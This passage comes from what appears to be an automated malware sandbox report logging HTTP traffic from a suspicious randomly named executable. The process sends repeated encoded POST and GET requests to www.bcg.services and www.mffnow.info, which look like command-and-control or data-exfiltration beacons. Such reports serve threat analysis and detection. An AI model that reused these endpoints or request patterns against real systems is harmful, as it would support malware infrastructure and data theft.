                                                                Data Raw: 4a 4e 4c 38 3d 32 45 4e 59 64 38 53 46 76 55 58 5a 38 51 4f 70 74 7a 31 43 51 37 74 42 74 45 42 75 4f 68 57 2f 73 30 65 4a 54 5a 75 66 43 44 36 41 65 78 42 55 77 6a 47 46 62 6c 62 64 4e 47 4f 55 39 6c 77 2b 47 59 76 35 6a 74 45 46 31 54 6e 33 78 49 65 6f 67 68 30 30 51 4c 48 4a 63 48 63 33 43 64 6a 34 6d 30 77 59 34 67 7a 62 66 7a 46 55 4a 47 51 6a 66 4f 72 73 37 4b 6c 34 4d 6a 52 2b 49 35 4b 41 35 66 37 31 70 48 75 32 36 42 36 64 36 34 6d 2f 36 59 76 48 72 6a 35 43 4f 71 36 72 5a 63 6c 54 46 66 49 45 67 35 42 78 31 72 48 79 74 50 5a 79 56 6e 76 61 39 6f 6d 79 54 37 64 67
                                                                Data Ascii: JNL8=2ENYd8SFvUXZ8QOptz1CQ7tBtEBuOhW/s0eJTZufCD6AexBUwjGFblbdNGOU9lw+GYv5jtEF1Tn3xIeogh00QLHJcHc3Cdj4m0wY4gzbfzFUJGQjfOrs7Kl4MjR+I5KA5f71pHu26B6d64m/6YvHrj5COq6rZclTFfIEg5Bx1rHytPZyVnva9omyT7dg
                                                                Nov 20, 2024 10:27:48.290817976 CET1236INHTTP/1.1 200 OK
                                                                date: Wed, 20 Nov 2024 09:27:47 GMT
                                                                content-type: text/html; charset=utf-8
                                                                content-length: 1114
                                                                x-request-id: aae45f0c-a542-4293-9e6e-0dcca81fe269
                                                                cache-control: no-store, max-age=0
                                                                accept-ch: sec-ch-prefers-color-scheme
                                                                critical-ch: sec-ch-prefers-color-scheme
                                                                vary: sec-ch-prefers-color-scheme
                                                                x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==
                                                                set-cookie: parking_session=aae45f0c-a542-4293-9e6e-0dcca81fe269; expires=Wed, 20 Nov 2024 09:42:48 GMT; path=/
                                                                connection: close
                                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 75 39 64 4b 6d 43 48 51 4c 53 55 45 61 6a 44 65 53 30 4e 74 42 33 6f 2f 63 79 53 30 4d 61 4d 70 36 48 73 4a 6f 75 39 2b 2f 6b 4d 41 6c 50 6d 4b 42 32 4d 49 36 45 4b 30 30 4b 4d 74 62 62 78 5a 52 34 57 39 47 36 2b 61 2b 67 61 63 4b 36 56 54 71 56 65 68 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                Nov 20, 2024 10:27:48.290862083 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYWFlNDVmMGMtYTU0Mi00MjkzLTllNmUtMGRjY2E4MWZlMjY5IiwicGFnZV90aW1lIjoxNzMyMDk0OD


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                26192.168.2.957479199.59.243.227803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:50.622307062 CET731OUTPOST /xz45/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 217
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.bcg.services
                                                                Origin: http://www.bcg.services
                                                                Referer: http://www.bcg.services/xz45/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 32 45 4e 59 64 38 53 46 76 55 58 5a 39 7a 47 70 72 51 64 43 48 72 74 43 68 6b 42 75 48 42 57 37 73 30 61 4a 54 62 66 41 43 57 71 41 65 51 52 55 33 6d 79 46 53 31 62 64 5a 32 4f 56 77 46 77 70 47 59 79 4f 6a 74 34 46 31 53 44 33 78 4e 79 6f 6a 53 63 33 52 62 48 48 55 6e 63 70 66 74 6a 34 6d 30 77 59 34 68 53 2b 66 77 31 55 4a 30 45 6a 65 72 66 74 32 71 6c 35 64 6a 52 2b 65 4a 4b 45 35 66 36 57 70 47 43 59 36 48 32 64 36 34 57 2f 30 70 76 49 34 44 35 45 54 61 37 55 64 4e 4a 62 4c 2b 34 79 67 5a 64 50 76 6f 66 6d 75 75 6c 73 45 56 6d 42 6f 2f 6d 56 55 63 55 49 72 41 6b 52 33 38 69 62 53 34 41 55 6a 66 4c 36 70 36 2b 41 64 51 3d 3d
                                                                Data Ascii: JNL8=2ENYd8SFvUXZ9zGprQdCHrtChkBuHBW7s0aJTbfACWqAeQRU3myFS1bdZ2OVwFwpGYyOjt4F1SD3xNyojSc3RbHHUncpftj4m0wY4hS+fw1UJ0Ejerft2ql5djR+eJKE5f6WpGCY6H2d64W/0pvI4D5ETa7UdNJbL+4ygZdPvofmuulsEVmBo/mVUcUIrAkR38ibS4AUjfL6p6+AdQ==
                                                                Nov 20, 2024 10:27:50.970088005 CET1236INHTTP/1.1 200 OK
                                                                date: Wed, 20 Nov 2024 09:27:50 GMT
                                                                content-type: text/html; charset=utf-8
                                                                content-length: 1114
                                                                x-request-id: 24d88431-53c0-4f43-95a8-4dfe5f4b9271
                                                                cache-control: no-store, max-age=0
                                                                accept-ch: sec-ch-prefers-color-scheme
                                                                critical-ch: sec-ch-prefers-color-scheme
                                                                vary: sec-ch-prefers-color-scheme
                                                                x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==
                                                                set-cookie: parking_session=24d88431-53c0-4f43-95a8-4dfe5f4b9271; expires=Wed, 20 Nov 2024 09:42:50 GMT; path=/
                                                                connection: close
                                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 75 39 64 4b 6d 43 48 51 4c 53 55 45 61 6a 44 65 53 30 4e 74 42 33 6f 2f 63 79 53 30 4d 61 4d 70 36 48 73 4a 6f 75 39 2b 2f 6b 4d 41 6c 50 6d 4b 42 32 4d 49 36 45 4b 30 30 4b 4d 74 62 62 78 5a 52 34 57 39 47 36 2b 61 2b 67 61 63 4b 36 56 54 71 56 65 68 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                Nov 20, 2024 10:27:50.970110893 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjRkODg0MzEtNTNjMC00ZjQzLTk1YTgtNGRmZTVmNGI5MjcxIiwicGFnZV90aW1lIjoxNzMyMDk0OD


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                27192.168.2.957480199.59.243.227803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:53.580940962 CET1744OUTPOST /xz45/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 1229
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.bcg.services
                                                                Origin: http://www.bcg.services
                                                                Referer: http://www.bcg.services/xz45/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 32 45 4e 59 64 38 53 46 76 55 58 5a 39 7a 47 70 72 51 64 43 48 72 74 43 68 6b 42 75 48 42 57 37 73 30 61 4a 54 62 66 41 43 56 4b 41 66 67 4e 55 78 42 65 46 49 31 62 64 46 6d 4f 59 77 46 77 6f 47 59 36 4b 6a 74 31 79 31 52 72 33 78 72 6d 6f 69 6a 63 33 66 62 48 48 59 48 63 30 43 64 69 6c 6d 31 41 6d 34 67 2b 2b 66 77 31 55 4a 31 30 6a 4f 4f 72 74 30 71 6c 34 4d 6a 52 4d 49 35 4c 5a 35 66 79 6f 70 47 47 6d 36 58 57 64 37 63 79 2f 32 66 37 49 37 6a 35 47 53 61 37 4d 64 4e 45 46 4c 39 4d 45 67 61 42 6c 76 6f 58 6d 34 4b 30 71 57 55 36 72 72 70 65 36 43 76 4e 74 71 6d 77 6b 36 66 7a 31 4b 35 64 37 77 63 69 37 39 36 37 53 48 7a 34 4a 41 74 47 77 55 66 77 42 54 79 66 79 4a 73 7a 45 61 34 67 6b 70 73 34 6d 7a 36 69 77 46 4a 49 6d 46 4c 36 42 2b 72 2f 6b 42 30 31 67 6f 32 4d 66 33 30 70 79 33 4d 66 54 54 66 68 6e 48 49 65 33 58 42 39 48 70 52 68 6d 31 79 64 7a 32 59 77 4a 66 7a 56 6d 70 34 6c 41 6d 51 67 76 64 4a 39 64 6c 61 65 71 51 4f 77 68 37 62 75 32 47 31 75 35 5a 35 53 32 76 6b 4a 41 53 [TRUNCATED]
                                                                Data Ascii: JNL8=2ENYd8SFvUXZ9zGprQdCHrtChkBuHBW7s0aJTbfACVKAfgNUxBeFI1bdFmOYwFwoGY6Kjt1y1Rr3xrmoijc3fbHHYHc0Cdilm1Am4g++fw1UJ10jOOrt0ql4MjRMI5LZ5fyopGGm6XWd7cy/2f7I7j5GSa7MdNEFL9MEgaBlvoXm4K0qWU6rrpe6CvNtqmwk6fz1K5d7wci7967SHz4JAtGwUfwBTyfyJszEa4gkps4mz6iwFJImFL6B+r/kB01go2Mf30py3MfTTfhnHIe3XB9HpRhm1ydz2YwJfzVmp4lAmQgvdJ9dlaeqQOwh7bu2G1u5Z5S2vkJASwTaNGiJmGavUD3c2M15O54/JHvDgGQA3XR83x/kXse+jkSwNYavZxSpUUmsH1z0gyv4kyqR7abw2XZynEebaaVrO4NcKNu4xOraaUWFQ9AE7C6tDIfrfiGjfi969/v0Q9dMqXovx0KucmxJGBdVdsD9Ytpi0A3g4EgiHZNPRAj1a+BuqV48WzCToX9YZSf1y5Id67sHraoo6tUk8QL34dY+Ah4JNhTkC9VqTWdpptbMxc+/9d7Kb8y5mhclRGn2kW9Fmlw4BnSAQdEcXgUPEoN1DS9qQf0ciKvKuk29xBxlMWyf274wKe+SDxPMnrxdnAKvRblxFQbI1cyYPKyq9ors1U5VdYFecIppokogWo9updcYfvZ91y1NaNZAGw0Zl6armBbI0X/xelroxkWoyZknxzpTEXsikHG00ZxVmkQ8z7k05rx/PkGmeQPaseLiEm3oAvk/xhSw8ezh9zW24H4YOhikL1octUtuEn2xLXqVD0lOxoceP9rTOiaKEqq3uWk3iil/JLndQoPOdpwBYXcibxbrVSVtiqz4XVW4v4pa/+zosF4yqit7sOH8/tUnBhwYK67MfCuAyhy/GDY6yV5TR6l8ocCnxp1RqDBgDVoXdB119qu2pojHw9fPKE6SMdaVOk7jaeUQg+CDZdiKqnV3H/wMGXQK0in [TRUNCATED]
                                                                Nov 20, 2024 10:27:53.992717981 CET1236INHTTP/1.1 200 OK
                                                                date: Wed, 20 Nov 2024 09:27:53 GMT
                                                                content-type: text/html; charset=utf-8
                                                                content-length: 1114
                                                                x-request-id: e67e726d-8d19-4a1b-8cdc-2683a31de345
                                                                cache-control: no-store, max-age=0
                                                                accept-ch: sec-ch-prefers-color-scheme
                                                                critical-ch: sec-ch-prefers-color-scheme
                                                                vary: sec-ch-prefers-color-scheme
                                                                x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==
                                                                set-cookie: parking_session=e67e726d-8d19-4a1b-8cdc-2683a31de345; expires=Wed, 20 Nov 2024 09:42:53 GMT; path=/
                                                                connection: close
                                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 75 39 64 4b 6d 43 48 51 4c 53 55 45 61 6a 44 65 53 30 4e 74 42 33 6f 2f 63 79 53 30 4d 61 4d 70 36 48 73 4a 6f 75 39 2b 2f 6b 4d 41 6c 50 6d 4b 42 32 4d 49 36 45 4b 30 30 4b 4d 74 62 62 78 5a 52 34 57 39 47 36 2b 61 2b 67 61 63 4b 36 56 54 71 56 65 68 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                Nov 20, 2024 10:27:53.992738008 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZTY3ZTcyNmQtOGQxOS00YTFiLThjZGMtMjY4M2EzMWRlMzQ1IiwicGFnZV90aW1lIjoxNzMyMDk0OD


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                28192.168.2.957481199.59.243.227803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:56.122924089 CET449OUTGET /xz45/?JNL8=7Gl4eI2ymk7esmTLtSpxAatYul5JA3Gonx7jFa75SCeEQi1G+RGQY0LgPCeJyXg2C6GorcwS5UbL8Y/pt3QrTu75YBs+CNakhlsr0AGPWS12PGpJNQ==&X88x4=H6Ch8lj0uBw HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Language: en-US,en;q=0.5
                                                                Connection: close
                                                                Host: www.bcg.services
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Nov 20, 2024 10:27:56.596738100 CET1236INHTTP/1.1 200 OK
                                                                date: Wed, 20 Nov 2024 09:27:56 GMT
                                                                content-type: text/html; charset=utf-8
                                                                content-length: 1450
                                                                x-request-id: f195bf0c-66be-4456-9ac8-36121474666c
                                                                cache-control: no-store, max-age=0
                                                                accept-ch: sec-ch-prefers-color-scheme
                                                                critical-ch: sec-ch-prefers-color-scheme
                                                                vary: sec-ch-prefers-color-scheme
                                                                x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Jbe+70x0YvPaWHgNHGkPQtUi+/+9Thd4IE0EzByBZLRJiPD5rZa2BoVIFrkUjDlcWVpJ/TJuJVT9G32YOQGTvw==
                                                                set-cookie: parking_session=f195bf0c-66be-4456-9ac8-36121474666c; expires=Wed, 20 Nov 2024 09:42:56 GMT; path=/
                                                                connection: close
                                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 62 65 2b 37 30 78 30 59 76 50 61 57 48 67 4e 48 47 6b 50 51 74 55 69 2b 2f 2b 39 54 68 64 34 49 45 30 45 7a 42 79 42 5a 4c 52 4a 69 50 44 35 72 5a 61 32 42 6f 56 49 46 72 6b 55 6a 44 6c 63 57 56 70 4a 2f 54 4a 75 4a 56 54 39 47 33 32 59 4f 51 47 54 76 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Jbe+70x0YvPaWHgNHGkPQtUi+/+9Thd4IE0EzByBZLRJiPD5rZa2BoVIFrkUjDlcWVpJ/TJuJVT9G32YOQGTvw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                Nov 20, 2024 10:27:56.596756935 CET903INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZjE5NWJmMGMtNjZiZS00NDU2LTlhYzgtMzYxMjE0NzQ2NjZjIiwicGFnZV90aW1lIjoxNzMyMDk0OD


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                29192.168.2.957482188.114.96.3803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:28:01.652005911 CET704OUTPOST /1a34/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 193
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.mffnow.info
                                                                Origin: http://www.mffnow.info
                                                                Referer: http://www.mffnow.info/1a34/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 5a 6a 73 53 6d 6d 35 5a 46 51 33 42 65 52 6a 61 43 39 31 6d 4e 74 49 4c 7a 55 69 62 4a 30 78 44 68 34 30 35 75 46 31 70 78 4b 63 53 48 4c 35 46 49 4f 58 2b 38 63 67 2b 6c 33 39 63 75 78 65 79 4b 2f 6a 32 70 4b 58 42 30 56 64 4f 37 68 7a 51 41 2b 6e 42 6a 78 62 44 58 36 39 4c 75 48 74 42 4c 59 4a 52 39 39 51 67 44 57 63 49 71 51 62 73 54 5a 6a 53 74 55 74 6b 61 4f 38 42 45 47 35 75 78 74 50 6e 36 71 2b 6a 65 35 2b 52 69 33 64 71 36 64 39 31 65 64 68 74 58 72 48 56 6f 39 5a 6e 41 32 71 34 47 6b 38 78 4e 70 51 4f 63 4f 4e 6a 38 6d 42 52 54 34 35 78 74 70 47 76
                                                                Data Ascii: JNL8=ZjsSmm5ZFQ3BeRjaC91mNtILzUibJ0xDh405uF1pxKcSHL5FIOX+8cg+l39cuxeyK/j2pKXB0VdO7hzQA+nBjxbDX69LuHtBLYJR99QgDWcIqQbsTZjStUtkaO8BEG5uxtPn6q+je5+Ri3dq6d91edhtXrHVo9ZnA2q4Gk8xNpQOcONj8mBRT45xtpGv


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                30192.168.2.957483188.114.96.3803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:28:04.220277071 CET728OUTPOST /1a34/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 217
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.mffnow.info
                                                                Origin: http://www.mffnow.info
                                                                Referer: http://www.mffnow.info/1a34/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
